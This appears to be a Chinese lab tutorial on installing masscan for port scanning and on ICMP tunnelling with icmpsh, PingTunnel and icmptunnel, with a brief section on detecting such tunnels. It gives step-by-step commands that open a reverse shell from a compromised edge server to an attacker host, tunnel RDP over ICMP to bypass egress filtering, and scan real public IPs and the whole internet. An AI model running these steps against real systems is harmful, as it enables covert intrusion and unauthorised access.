masscan安装使用
首先需要有c编译器环境。查看是否有c编译器环境:
gcc -v
如果系统中已经安装了 GCC,这个命令将输出 GCC 的版本信息。如果未安装,你会看到类似于 "command not found" 的错误消息。
如果没有下载,使用如下命令:
sudo apt-get --assume-yes install git make gcc
masscan下载
git clone https://github.com/robertdavidgraham/masscan
文件会下载到你打开命令行显示的路径下。
cd masscan #第一步
make #第二步
执行之后会在masscan/bin下生成一个可执行文件。
执行命令:
make install
安装完成。
用法
扫描某IP的部分端口
masscan 183.2.172.185 -p 0-400 #扫描指定IP下的0-400端口
高速扫描某ip下的端口
masscan -p 1-2000 125.217.52.215 --max-rate 100000 #扫描整个子网下1-2000端口
masscan 125.217.52.215 --top-ports 100 > result.txt #扫描结果另存为result.txt文件
扫描整个互联网😅
masscan 0.0.0.0/0 -p0-65535 --max-rate 100000 //扫描整个互联网
只有ICMP协议出网场景
ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求.
在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道。
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。
icmpsh工具安装使用
icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限。下载命令。
git clone https://github.com/inquisb/icmpsh.git
攻击机和边缘服务器(被攻击者获取shell)都要安装。
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):
sysctl -w net.ipv4.icmp_echo_ignore_all=1
查看如何使用,根据脚本使用方法在终端执行以下命令:
python2 icmpsh_m.py 192.168.5.128 192.168.5.138
发现需要impacket安装包。使用命令
apt-get install python-impacket
发现找不到包。直接到github上找到源代码自己安装。
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
命令全部执行完之后可以把git下来的文件删掉了。
之后在边缘web服务器上执行以下命令:
icmpsh.exe -t 192.168.5.128
现在我们可以在攻击者的主机看到目标主机的shell。有点乱码,使用命令chcp 65001
PingTunnel的安装使用
经过浏览了数篇文章,发现icmpsh还是有些不足。第一,不能跨平台,其客户端只有icmpsh.exe针对windows的二进制文件,遇到靶机是*inux环境无法使用。第二,icmpsh本质上还不是一个隧道,只是一个反弹shell。第三,icmpsh没有密码认证机制,shell很可能被盗用。
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
libpcap
是一个跨平台的 C 语言库,用于捕获和分析网络数据包。
安装libpcap的依赖环境
apt-get install byacc
apt-get install flex bison
安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
但是由于环境限制,我这里无法进行复现,那个pingtunnel环境是攻击机(kali)和边缘服务器(linux类型的)都要安装的。我这里只有windows边缘服务器😭。(暂停,以后有机会再搞)
icmptunnel安装使用
icmptunnel
与 icmpsh
都是基于 ICMP 协议的隧道工具,但它们在功能上有所不同:icmptunnel
更侧重于提供一个稳定的、加密的双向数据传输隧道,支持多种加密方式,适用于长时间稳定连接的需求,如远程桌面或文件传输;而 icmpsh
则更偏向于提供一个交互式的 shell 环境,主要用于命令执行和简单文件传输。
首先去github下载项目:https://github.com/T3rry7f/ICMPTunnel
之后在拿到权限的边界服务器端禁用icmp回复:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
之后执行IcmpTunnel.py脚本:
python IcmpTunnel_S.py
之后再攻击主机执行以下命令:
python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}
之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:
rdesktop 192.168.5.128:44171
隧道防御
使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量。
- 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
- 注意哪些Payload大于64bit的ICMP数据包
- 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
- 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道------这就是特征。